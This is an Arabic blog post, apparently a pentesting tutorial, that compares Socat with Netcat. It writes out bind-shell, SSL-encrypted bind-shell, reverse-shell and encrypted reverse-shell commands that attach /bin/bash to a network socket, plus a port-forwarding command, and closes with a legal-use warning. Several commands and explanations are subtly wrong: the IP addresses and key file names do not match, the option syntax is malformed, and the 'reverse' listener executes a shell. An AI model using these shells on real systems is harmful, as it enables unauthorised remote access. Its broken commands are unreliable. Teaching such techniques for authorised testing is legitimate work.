تُعد أداة Socat أحد الخيارات القوية لمختبري الأمن وفاحصي الشبكات، حيث توفر مزايا وخصائص متقدمة للاتصال ونقل البيانات عبر الشبكات. وفي هذه التدوينة سنقارن بين Socat و Netcat ونستعرض كيفية استخدام Socat في اختبار الاختراق.

مقارنة بين Socat و Netcat

على الرغم من تشابه الاسم وبعض الوظائف الأساسية إلا أن هناك العديد من الاختلافات بين الأداتين:

المرونة والتوافقية

تتميز Socat بمرونة عالية في التعامل مع مختلف أنواع الاتصالات وبروتوكولات الشبكة مقارنةً بـNetcat. كما تدعم Socat عدد أكبر من أنظمة التشغيل.

خيارات الأمان

توفر Socat خيارات أمان متقدمة مثل التحقق من الشهادات وتشفير SSL/TLS. وكذلك netcat حالياً تدعم تشفير البيانات .

كفاءة نقل البيانات

Socat مصممة للحصول على أعلى كفاءة في نقل البيانات عبر الشبكة مقارنةً بـNetcat.

خيارات الاتصال المتعددة

يمكن لـ Socat فتح اتصالات متعددة في وقت واحد، بينما Netcat محدودة لاتصال واحد.

سهولة الاستخدام

تتميز Netcat بواجهة بسيطة وسهولة الاستخدام مقارنةً بـ Socat والتي تتطلب بعض التعقيد في تكوينات خط الأوامر.

استخدامات Socat في اختبار الاختراق

bind shell

1- فتح منفذ وانتظار الاتصال او مايسمى bind shell على الجهاز المستهدف

socat -d -d TCP4-LISTEN:5555 EXEC:/bin/bash

2- الاتصال بهذا المنفذ من جهاز مختبر الاختراق

socat - TCP4:192.168.1.15:5555

الطريقه السابقة لايتم فيها تشفير البيانات المرسلة والمستقبلة

Encrypted Bind Shell

هذه الطريقة مشابهه للطريقة السابقة ولكن يتم فيها تشفير البيانات المرسلة والمستقبلة

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt

1- هذا الأمر يستخدم أداة OpenSSL لإنشاء زوج المفاتيح العامة والخاصة وشهادة X.509 الذاتية التوقيع. يتم استخدام المفتاح الجديد المولد لتوليد مفتاح خاص وحفظه في ملف bind_shell.key. ثم يتم إنشاء شهادة X.509 وحفظها في ملف bind_shell.crt. يتم تعيين مدة صلاحية الشهادة لمدة 362 يومًا.

cat bind_shell.key bind_shell.crt > bind_shell.pem

2- هذا الأمر يستخدم لدمج محتوى الملفين bind_shell.key و bind_shell.crt في ملف واحد يسمى bind_shell.pem. الأمر cat يستخدم لعرض محتوى الملفات والرمز > يقوم بنقل المحتوى إلى ملف جديد. بمجرد تنفيذ هذا الأمر، سيتم دمج محتوى المفتاح الخاص bind_shell.key والشهادة bind_shell.crt في ملف bind_shell.pem. يتم استخدام ملف bind_shell.pem كملف يحتوي على المفتاح الخاص والشهادة الموقعة.

socat -OPENSSL-LISTEN:4444,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

3- هذا الأمر يستخدم أداة socat لإنشاء اتصال SSL/TLS على منفذ 4444. الخيار -OPENSSL-LISTEN يعني أن socat سيكون قادرًا على الاستماع للاتصالات القادمة عبر SSL/TLS. تم تحديد الملف bind_shell.pem كشهادة للاستخدام في الاتصال. الخيار verify=0 يتجاهل التحقق من صحة الشهادة، مما يسمح بتشغيل الاتصال حتى في حالة عدم وجود شهادة موثوقة. الخيار fork يسمح بالاتصالات المتعددة . عندما يتم إنشاء الاتصال، سيتم تنفيذ /bin/bash، مما يسمح للمتصل بالوصول إلى نظام التشغيل وتنفيذ أوامر الشيل.

بهذه الطريقة جميع الاتصالات سوف تكون مشفره

رسم توضيحي لـ bind Shell

Reverse Shell الاتصال العكسي

socat -d -d TCP4-LISTEN:4444 STDOUT

1- هذا الأمر يستخدم أداة socat لإنشاء اتصال TCP على المنفذ 4444 وتوجيه مدخلات ومخرجات الاتصال إلى STDOUT (الإخراج القياسي). الخيار -d يتيح وضع التصحيح لعملية التشغيل، و -d يطبع المزيد من تفاصيل تنفيذ الامر.

 socat TCP4:192.168.1.15:4444 EXEC:/bin/bash

2- هذا الأمر يستخدم أداة socat لإنشاء اتصال TCP إلى عنوان IP 192.168.1.2 على المنفذ 4444 ويقوم بتنفيذ الأمر /bin/bash. عند تنفيذ الأمر، يتم إنشاء اتصال TCP بين الجهاز الحالي وجهاز 192.168.1.2 على المنفذ 4444. بعد ذلك، يتم تنفيذ الأمر /bin/bash على الجهاز الهدف، مما يسمح للمستخدم بالوصول إلى نظام التشغيل وتنفيذ أوامر الشيل.

الطريقه السابقة لايتم فيها تشفير البيانات المرسلة والمستقبلة

Encrypted Reverse Shell الاتصال العكسي المشفر

 openssl req -newkey rsa:2048 -nodes -keyout buhaimed.key -x509 -days 1000 -subj '/CN=www.buhaimedi.com/O=buhaimedi Tech./C=SA' -out reverse-shell.crt

1- هذا الأمر يستخدم أداة OpenSSL لإنشاء زوج مفاتيح جديد يستخدم خوارزمية RSA بطول 2048 بت. يتم حفظ المفتاح الخاص في ملف ignite.key، وتوليد شهادة X.509 التوقيع الذاتي وحفظها في ملف reverse-shell.crt. يتم تحديد مدة صلاحية الشهادة لمدة 1000 يوم.

 cat buhaimed.key reverse-shell.crt > reverse-shell.pem

2- هذا الأمر يستخدم لدمج محتوى المفتاح الخاص ignite.key والشهادة reverse-shell.crt في ملف واحد يسمى reverse-shell.pem.
الأمر cat يستخدم لعرض محتوى الملفات، ورمز > يقوم بتحويل المحتوى إلى ملف جديد. بمجرد تنفيذ هذا الأمر، سيتم دمج محتوى المفتاح الخاص والشهادة في ملف reverse-shell.pem. يتم استخدام ملف reverse-shell.pem كملف يحتوي على المفتاح الخاص والشهادة الموقعة.

socat -OPENSSL-LISTEN:4444,cert=reverse-shell.pem,verify=0,fork EXEC:/bin/bash

3- هذا الأمر يستخدم أداة socat لإنشاء اتصال SSL/TLS للاستماع على المنفذ 4444 باستخدام شهادة الملف reverse-shell.pem.
الخيار -OPENSSL-LISTEN يعني أن socat سيكون قادرًا على الاستماع للاتصالات القادمة عبر SSL/TLS. يتم تعيين الملف reverse-shell.pem كشهادة للاستخدام في الاتصال. الخيار verify=0 يتجاهل التحقق من صحة الشهادة، مما يسمح بتشغيل الاتصال حتى في حالة عدم وجود شهادة موثوقة. الخيار fork يسمح بالاتصالات المتعددة للمستخدمين المتصلين. عندما يتم إنشاء الاتصال، سيتم تنفيذ /bin/bash، مما يسمح للمتصل بالوصول إلى نظام التشغيل وتنفيذ أوامر الشيل.

 socat -OPENSSL:192.168.1.15 4444,verify=0 EXEC:/bin/bash

هذا الأمر يستخدم أداة socat لإنشاء اتصال SSL/TLS إلى عنوان IP 192.168.1.15 على المنفذ 4444 باستخدام الشهادة الموجودة في المسار المحدد. الخيار verify=0 يتجاهل التحقق من صحة الشهادة. بمجرد إنشاء الاتصال، سيتم تنفيذ /bin/bash، مما يسمح للمستخدم بالوصول إلى نظام التشغيل وتنفيذ أوامر الشيل.

بهذه الطريقة جميع الاتصالات سوف تكون مشفره

Port Forward توجيه حركه البيانات

socat TCP-LISTEN:6000,fork,reuseaddr TCP:192.168.1.15:80

الأمر السابق يستخدم أداة socat لإنشاء اتصال TCP على المنفذ 6000 وتوجيه حركة المرور إلى عنوان IP 192.168.1.15 على المنفذ 80.

تفسير الخيارات المستخدمة في الأمر هو كالتالي:

TCP-LISTEN:6000: يقوم بإنشاء نقطة استماع TCP على المنفذ 6000 على الجهاز الحالي.
fork: يسمح بتشغيل اتصالات متعددة للعملاء الذين يتصلون بالمنفذ 6000.
reuseaddr: يسمح باستخدام نفس العنوان والمنفذ حتى بعد إغلاق الاتصال السابق على المنفذ 6000.
TCP:192.168.1.15:80: يقوم بتوجيه حركة المرور إلى عنوان IP 192.168.1.15 على المنفذ 80.
بشكل عام، هذا الأمر يستخدم لتوجيه حركة المرور من المنفذ 6000 على الجهاز الحالي إلى المنفذ 80 على جهاز آخر بعنوان IP 192.168.1.15. يمكن استخدام هذا الأمر لإعادة توجيه حركة المرور من منفذ غير قياسي إلى منفذ قياسي مثل HTTP (المنفذ 80)، لتمكين الوصول إلى خدمات الويب على الجهاز المستقبل.

رسم توضيحي لـ Reverse Shell

تحذير: يجب ملاحظة أن استخدام هذه الأوامر لأغراض غير قانونية أو غير أخلاقية يعد انتهاكًا للخصوصية والأمان، ويجب استخدامها فقط لأغراض تعليمية أو اختبار الأمان بموافقة صاحب النظام.